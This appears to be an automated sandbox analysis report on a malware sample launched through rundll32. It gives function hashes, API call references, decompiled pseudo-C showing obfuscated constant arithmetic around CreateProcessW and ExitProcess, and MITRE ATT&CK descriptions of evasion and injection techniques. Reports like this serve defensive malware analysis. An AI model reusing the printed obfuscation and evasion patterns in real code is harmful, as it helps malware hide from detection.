Opcode ID: 4426303cd8c6fb4c1c1ecb7fbf09bd3688702505ef56e78153f6abfa2136f32d
Instruction ID: 58210cdcaabde91533d63f5a21a26556c1e66e89baeab741b7408132f32a300a
Opcode Fuzzy Hash: 4426303cd8c6fb4c1c1ecb7fbf09bd3688702505ef56e78153f6abfa2136f32d
Instruction Fuzzy Hash: 79B09BB0A00B01DE6D505AF5494D5D53919B95111134284446015ED501D514C146AD67

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FC2E0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E9FC2E5
GetProcAddress.KERNEL32(00000000,NtReleaseKeyedEvent), ref: 6E9FC2F5

Strings

NtReleaseKeyedEvent, xrefs: 6E9FC2EF
ntdll, xrefs: 6E9FC2E0

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtReleaseKeyedEvent$ntdll
API String ID: 1646373207-31681898
Opcode ID: 02d0bbd0e6dcd7c455d57d61d3670d9f3afaef3e064e87ea02e82bbcc982fe6b
Instruction ID: c2f5a12bd96e8a53ccb87778e8ecb64189487923bac9bed23ff6e783116553ce
Opcode Fuzzy Hash: 02d0bbd0e6dcd7c455d57d61d3670d9f3afaef3e064e87ea02e82bbcc982fe6b
Instruction Fuzzy Hash: 6DB09B70B10A01DA9D506AF1494D5D63919B99111130284446011FD501F914C145ED27

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FC260, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6E9FC265
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6E9FC275

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6E9FC26F
kernel32, xrefs: 6E9FC260

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemTimePreciseAsFileTime$kernel32
API String ID: 1646373207-392834919
Opcode ID: a1b1219daf38f5df5416ad4269f676b47246a233870af285065c59d8c433ed21
Instruction ID: 6741381c468fef0b9e5b18ec89808e99e38ce62cdd595b0ee29bc6705fa61cac
Opcode Fuzzy Hash: a1b1219daf38f5df5416ad4269f676b47246a233870af285065c59d8c433ed21
Instruction Fuzzy Hash: FDB09B70600601DAAE505EF1498D5D53519BD912013028444A111ED501D614C085BD27

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FC300, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E9FC305
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 6E9FC315

Strings

NtCreateKeyedEvent, xrefs: 6E9FC30F
ntdll, xrefs: 6E9FC300

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateKeyedEvent$ntdll
API String ID: 1646373207-1373576770
Opcode ID: 861ba1ab080009f1e27c04e031738ad7246abe5517e10ee7d9a366e1e22f2b66
Instruction ID: acac95ee2edfe39af6eb727e17eabf10142c9e16706a9d06b3b49914d8b63c95
Opcode Fuzzy Hash: 861ba1ab080009f1e27c04e031738ad7246abe5517e10ee7d9a366e1e22f2b66
Instruction Fuzzy Hash: 29B09B70E00A01DF5D509AF1494D5963D19B951291342C4446511ED506D914C146AD27

Uniqueness

Uniqueness Score: -1.00%

Function 6EA16749, Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(4F98A14C,?,00000000,?), ref: 6EA167AC

Part of subcall function 6EA14073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EA161E2,?,00000000,-00000008), ref: 6EA1411F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6EA16A07
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6EA16A4F
GetLastError.KERNEL32 ref: 6EA16AF2

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: f1fab8f8e6e652aaacaaa3daec0972ba171a5cda51df7a5f400a5c7b2930ad46
Instruction ID: 86e10946804086c07e79d9825b56f131c9cf9690743ff4f3f9cdda1e8cd0258c
Opcode Fuzzy Hash: f1fab8f8e6e652aaacaaa3daec0972ba171a5cda51df7a5f400a5c7b2930ad46
Instruction Fuzzy Hash: DCD179B5D182599FCB01CFE8C8909EDBBB4FF49314F18856AE856EB341D730A882CB54

Uniqueness

Uniqueness Score: -1.00%

Function 6EA0F49F, Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6EA0F566
___AdjustPointer.LIBCMT ref: 6EA0F589
___AdjustPointer.LIBCMT ref: 6EA0F625

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 73abb872ff2db19e9117e5e9550fd90a65077ce29653b35cb12908fb69ed956b
Instruction ID: 6a7bdeff557cc7c6e4f7150599bfb503adc30adccea37c517690dc73c4f4451b
Opcode Fuzzy Hash: 73abb872ff2db19e9117e5e9550fd90a65077ce29653b35cb12908fb69ed956b
Instruction Fuzzy Hash: F951B17AA056069FDB148F94F950BAA73A4FF44318F34492DD91567290EB31F8C0CB9C

Uniqueness

Uniqueness Score: -1.00%

Function 6EA12D87, Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6EA14073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EA161E2,?,00000000,-00000008), ref: 6EA1411F

GetLastError.KERNEL32 ref: 6EA12DEB
__dosmaperr.LIBCMT ref: 6EA12DF2
GetLastError.KERNEL32(?,?,?,?), ref: 6EA12E2C
__dosmaperr.LIBCMT ref: 6EA12E33

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 6fcba93c53f237e0520f5a138a9dfc4e438b00a23ce7c205ed8c89e4a0e26e8a
Instruction ID: 84143ed574cf0bdba2de111589f88906a5737358f56f5abb09f0b8774d7bdfc2
Opcode Fuzzy Hash: 6fcba93c53f237e0520f5a138a9dfc4e438b00a23ce7c205ed8c89e4a0e26e8a
Instruction Fuzzy Hash: D521F53120C205BF9B019FE6C8808DBBBFDEF023687048829E854D7150D730ECC597A8

Uniqueness

Uniqueness Score: -1.00%

Function 6EA17EA6, Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6EA17857,?,00000001,?,?,?,6EA16B46,?,?,00000000), ref: 6EA17EBD
GetLastError.KERNEL32(?,6EA17857,?,00000001,?,?,?,6EA16B46,?,?,00000000,?,?,?,6EA170CD,?), ref: 6EA17EC9

Part of subcall function 6EA17E8F: CloseHandle.KERNEL32(FFFFFFFE,6EA17ED9,?,6EA17857,?,00000001,?,?,?,6EA16B46,?,?,00000000,?,?), ref: 6EA17E9F

___initconout.LIBCMT ref: 6EA17ED9

Part of subcall function 6EA17E51: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6EA17E80,6EA17844,?,?,6EA16B46,?,?,00000000,?), ref: 6EA17E64

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6EA17857,?,00000001,?,?,?,6EA16B46,?,?,00000000,?), ref: 6EA17EEE

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: fd536c7902e3d89d67d58d11f8402c7ee455a67de84db27296a2abedf70d9dbc
Instruction ID: 338ce01596bf9d4925095a0d7f65b2afe4ef27e99369f57ea8b6ab2b2965d1d8
Opcode Fuzzy Hash: fd536c7902e3d89d67d58d11f8402c7ee455a67de84db27296a2abedf70d9dbc
Instruction Fuzzy Hash: 2EF01C36408618FBCF125FD1CC04ADE3F76EF4A3A0B058414FA1CA95A0C7328DA1DB94

Uniqueness

Uniqueness Score: -1.00%

Function 6EA0FAA0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6EA0FAC5

Strings

RCC, xrefs: 6EA0FADF
MOC, xrefs: 6EA0FAD7

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 849222c729bfe2fe551a1ad78111d980ffa5819e20503f176ee0135be46c5f70
Instruction ID: 68dc50e29d19daf06c3b857ad8e7a100597b0bb64afced6d8b631f962e483e68
Opcode Fuzzy Hash: 849222c729bfe2fe551a1ad78111d980ffa5819e20503f176ee0135be46c5f70
Instruction Fuzzy Hash: BE418736900209AFCF01CFD4D990AEE7BB9BF49308F288499E914B7210D3359991DF59

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 2132 Parent PID: 6524 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1021
Total number of Limit Nodes:	7

Executed Functions

Function 02C29100, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 41%

			E02C29100(void* __ecx, WCHAR* __edx, WCHAR* _a8, struct _PROCESS_INFORMATION* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, struct _STARTUPINFOW* _a40, intOrPtr _a44, int _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t52;
				int _t60;
				WCHAR* _t64;

				_t64 = __edx;
				_push(0);
				_push(0);
				_push(_a64);
				_push(_a60);
				_push(_a56);
				_push(_a52);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(0);
				_push(__edx);
				_push(__ecx);
				E02C18002(_t52);
				_v28 = 0x2905a5;
				_v24 = 0;
				_v12 = 0xa2d8b8;
				_v12 = _v12 + 0xfffff871;
				_v12 = _v12 ^ 0x5b121ec8;
				_v12 = _v12 ^ 0x21b4fd5f;
				_v12 = _v12 ^ 0x7a067dbd;
				_v8 = 0x36027e;
				_v8 = _v8 ^ 0x6c06375b;
				_v8 = _v8 * 0x51;
				_v8 = _v8 + 0xffff0cdd;
				_v8 = _v8 ^ 0x3b3a0501;
				_v20 = 0x3133e6;
				_v20 = _v20 ^ 0xa81fc925;
				_v20 = _v20 ^ 0xa82b7027;
				_v16 = 0x47f0fa;
				_v16 = _v16 | 0xed8e49a9;
				_v16 = _v16 ^ 0xedcdbeb4;
				E02C2E399(__ecx, __edx, __ecx, 0xa2449830, 0x53, 0xa9376bff);
				_t60 = CreateProcessW(_t64, _a8, 0, 0, _a48, 0, 0, 0, _a40, _a16); // executed
				return _t60;
			}

0x02c2910a
0x02c2910c
0x02c2910d
0x02c2910e
0x02c29111
0x02c29114
0x02c29117
0x02c2911a
0x02c2911d
0x02c29120
0x02c29123
0x02c29126
0x02c29127
0x02c2912a
0x02c2912d
0x02c29130
0x02c29133
0x02c29134
0x02c29137
0x02c29138
0x02c29139
0x02c2913a
0x02c2913f
0x02c29149
0x02c2914c
0x02c29153
0x02c2915a
0x02c29161
0x02c29168
0x02c2916f
0x02c29176
0x02c2918e
0x02c29191
0x02c29198
0x02c2919f
0x02c291a6
0x02c291ad
0x02c291b4
0x02c291bb
0x02c291c2
0x02c291d5
0x02c291ef
0x02c291f6

APIs

CreateProcessW.KERNELBASE(?,EDCDBEB4,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 02C291EF

Strings

31, xrefs: 02C2919F

Memory Dump Source

Source File: 00000006.00000002.639880819.0000000002C10000.00000040.00000010.sdmp, Offset: 02C10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c10000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: 31
API String ID: 963392458-1099231638
Opcode ID: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction ID: 13b8b23b8a26d48af2f89f2214f14f37dfd4ba9a1fa8b3cf2b561f831c6a270b
Opcode Fuzzy Hash: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction Fuzzy Hash: 0D31C272801259BBCF559FA6CD45CDFBFB5FB89714F108158FA1462120C3729A60EFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02C20207, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E02C20207(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v32;
				intOrPtr _v36;
				void* _t54;
				int _t68;
				signed int _t70;
				signed int _t71;
				signed int _t72;
				WCHAR* _t81;

				_push(_a16);
				_t81 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E02C18002(_t54);
				_v36 = 0xa7e4f2;
				asm("stosd");
				_t70 = 0x7b;
				asm("stosd");
				asm("stosd");
				_v12 = 0x53fdc4;
				_t71 = 0x5a;
				_v12 = _v12 / _t70;
				_v12 = _v12 << 7;
				_v12 = _v12 ^ 0xe1fe8b09;
				_v12 = _v12 ^ 0xe1ac8480;
				_v20 = 0x744728;
				_v20 = _v20 << 0xf;
				_v20 = _v20 ^ 0x239bcee7;
				_v16 = 0xd5199;
				_v16 = _v16 + 0xffff5a50;
				_v16 = _v16 / _t71;
				_v16 = _v16 ^ 0x000f59f5;
				_v8 = 0xa57c1a;
				_v8 = _v8 | 0x119c25df;
				_v8 = _v8 + 0xffffdcc6;
				_t72 = 0x4f;
				_v8 = _v8 / _t72;
				_v8 = _v8 ^ 0x003b1570;
				E02C2E399(_t72, _v8 % _t72, _t72, 0xa2449830, 0x167, 0xa9a77114);
				_t68 = lstrcmpiW(_a8, _t81); // executed
				return _t68;
			}

0x02c2020f
0x02c20212
0x02c20214
0x02c20217
0x02c2021a
0x02c2021d
0x02c2021f
0x02c20224
0x02c20232
0x02c20235
0x02c20238
0x02c20239
0x02c2023a
0x02c20246
0x02c20247
0x02c2024c
0x02c20250
0x02c20257
0x02c2025e
0x02c20265
0x02c20269
0x02c20270
0x02c20277
0x02c20285
0x02c2028a
0x02c20291
0x02c20298
0x02c2029f
0x02c202a9
0x02c202af
0x02c202b2
0x02c202d5
0x02c202e1
0x02c202e8

APIs

lstrcmpiW.KERNELBASE(000F59F5,00000000,?,?,?,?,?,?,?,9B842ACC,01B64447,00000000), ref: 02C202E1

Strings

(Gt, xrefs: 02C2025E

Memory Dump Source

Source File: 00000006.00000002.639880819.0000000002C10000.00000040.00000010.sdmp, Offset: 02C10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c10000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: (Gt
API String ID: 1586166983-558867117
Opcode ID: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction ID: 27804fe4d00831a94ea1c14ed8050dcf1c677e1c8e11b2f05acc796f6b9c3902
Opcode Fuzzy Hash: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction Fuzzy Hash: 522178B5E00208FBEF04DFA4CD0A9DEBBB2FB44314F10C199E515AA250D7B65A10DF90

Uniqueness

Uniqueness Score: -1.00%

Function 02C1F3F7, Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E02C1F3F7() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t47;

				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0xb0bfd;
				_v32 = 0x231de0;
				_v20 = 0x822c7a;
				_t47 = 0x31;
				_push(_t47);
				_v20 = _v20 * 0x25;
				_v20 = _v20 ^ 0x12d3a120;
				_v12 = 0x122796;
				_v12 = _v12 | 0x5fffe7f7;
				_v12 = _v12 ^ 0x5ff36a5b;
				_v8 = 0xc53dc4;
				_v8 = _v8 + 0xffff669e;
				_v8 = _v8 + 0xba03;
				_v8 = _v8 + 0x1f9e;
				_v8 = _v8 ^ 0x00c2122b;
				_v16 = 0x5857ad;
				_v16 = _v16 / _t47;
				_v16 = _v16 ^ 0x000b8ebe;
				E02C2E399(_t47, _v16 % _t47, _t47, 0xa2449830, 0x41, 0x9da8748a);
				ExitProcess(0);
			}

0x02c1f3fd
0x02c1f403
0x02c1f407
0x02c1f40e
0x02c1f415
0x02c1f422
0x02c1f423
0x02c1f429
0x02c1f42c
0x02c1f433
0x02c1f43a
0x02c1f441
0x02c1f448
0x02c1f44f
0x02c1f456
0x02c1f45d
0x02c1f464
0x02c1f46b
0x02c1f479
0x02c1f47c
0x02c1f495
0x02c1f49f

APIs

ExitProcess.KERNEL32(00000000), ref: 02C1F49F

Memory Dump Source

Source File: 00000006.00000002.639880819.0000000002C10000.00000040.00000010.sdmp, Offset: 02C10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c10000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction ID: 8b354bcfef4747c9e88eb8761662011bd1c5e294f39040e6b6cc0ad685135469
Opcode Fuzzy Hash: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction Fuzzy Hash: 2E11D6B1E1121DEBDF04DFE4D94A6EEBBB4FB14315F108188E521BA250E7B45B558F80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

